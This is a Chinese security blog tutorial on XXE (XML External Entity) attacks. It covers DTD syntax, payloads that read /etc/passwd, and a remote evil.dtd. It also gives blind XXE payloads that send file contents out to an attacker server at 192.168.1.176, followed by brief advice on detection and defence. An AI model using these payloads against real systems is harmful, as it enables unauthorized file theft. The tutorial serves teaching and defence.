DTD 实体 XXE 浅析

web安全 2019-11-10

在 FIT2018 互联网创新大会上得知,最新的 OWASP top10 中,XXE 已上升至第三位,所有对 XXE 产生了强烈的兴趣。虽然之前也听说过 XXE,但是一直未深入了解。经多方资料查询,愈发感受到 XXE 攻击的强大。

以下是我这段时间对 XXE 学习的一点总结,比较浅显,仅供参考。

0x00 什么是 XXE

XXE:XML External Entity,即外部实体攻击。要了解 XXE 攻击,需要先了解 XML 相关语法。

XML相关语法

XML 是一种可扩展标记语言,被设计用来传输和存储数据。XML 的基本格式如下:

img

上述 XML 代码基本可分为三部分:

第一部分是 xml 的版本。

第二部分是 xml 的 DTD(Document Type Definition) 文档类型定义。

第三部分是 xml 语句。

而外部实体攻击主要就是利用 DTD 的实外部体来进行注入。

下面着重讲解一下 DTD 实体的相关语法。

DTD 有两种构建方式,分别为内部 DTD 声明和外部 DTD 引用。

内部 DTD 声明:

<!DOCTYPE 根元素 [元素声明]>

外部 DTD 引用:

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD 实体同样有两种构建方式,分别为内部实体声明和外部实体声明。

内部实体声明:

<!ENTITY entity-name "entity-value">

外部实体声明:

<!ENTITY entity-name SYSTEM "URI/URL">

外部实体示例:

<!DOCTYPE hlw [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <hlw>&xxe;</hlw>

上述代码中,XML 的外部实体 “xxe” 被赋予的值为:file:///etc/passwd

当解析 xml 文档时,xxe 会被替换为 file:///etc/passwd 的内容。

注意:

一个实体由三部分构成: 一个和号 &, 一个实体名称, 以及一个分号 ;

更多 XML 相关语法,请参考:

http://www.runoob.com/xml/xml-tutorial.html

XXE 攻击原理

XML1.0 标准里,XML 文档里的实体的标识符可以访问本地远程内容,如果在外部实体引用的过程中,注入恶意代码,即可引发信息泄露等安全问题。

比如上述示例中所演示的 URI,即可读取 passwd 中的敏感信息。

0x01 XXE 攻击方式

一般 XXE 利用分为两大场景:有回显和无回显。有回显的情况下可以直接在页面中看到 Payload 的执行结果或现象;

无回显的情况又称为 blind xxe,可以使用外带数据通道提取数据。

1.有回显情况:

有回显的情况可以使用如下的两种方式进行 XXE 注入攻击。

(1)直接将外部实体引用的URI设置为敏感目录。

<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

img

(2)将外部实体引用的 URL 设置到本地服务器,本地构建恶意 dtd 文件,远程注入。

<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo>

外部 evil.dtd 中的内容:

<!ENTITY evil SYSTEM "file:///etc/passwd" >

img

2.无回显的情况:

可以使用外带数据通道提取数据,先使用 filter:/// 获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器)。

实体 remote,all,send 的引用顺序很重要,首先对 remote 引用的目的是将外部文件 evil.xml 引入到解释上下文中,然后执行 %all,这时会检测到 send 实体,在 root 节点中引用 send,就可以成功实现数据转发。

源文件代码如下:

img

eval.xml 的源码如下:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.1.176/1.php?file=%file;'>">

img

当然,也可以直接在 DTD 中引用 send 实体,如果在 evil.xml 中,send 是个参数实体的话,即可用以下方式:

源文件代码如下:

img

evil.xml 的内容,内部的 % 号要进行实体编码成 &#x25,代码如下:

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.1.176/1.php?file=%file;'>">

img

有报错直接查看报错信息。无报错需要访问接受数据的服务器中的日志信息或 burp 抓包重放。

0x02 XXE 漏洞检测

最直接的办法就是,检测那些接收 xml 作为输入内容的节点。

但是很多时候,这些节点表面看来可能不是很明显,这个时候就需要借助 burp 抓包,通过修改不同的字段,如 http 请求方法、Content-Type 头部字段等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞。

0x03 XXE 修复与防御

可以将 libxml 版本升级到 2.9.0 以后,因为 libxml 2.9.0 以后默认是不解析外部实体的;或者手动检查底层的 xml 解析库,设置为禁止解析外部实体。

0x04 总结

XXE 的利用方式非常广,危害也非常大。除了上文提到的文件读取,还可以进行拒绝服务攻击、命令执行、SQL(XSS) 注入、内网扫描端口、入侵内网站点等,非常值得深入学习。而文章中验证 XXE 的环境,vulhub 也包含了除 XXE 之外的很多其他漏洞验证环境,如 HeartBleed 心脏出血、JBoss 反序列化、Nginx 解析漏洞等,非常适合初学者进行实践操作。推荐阅读:《XPath注入:攻击与防御技术

0x05 参考链接

http://www.runoob.com/xml/xml-tutorial.html http://vulhub.org/#/environments/php_xxe/ https://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论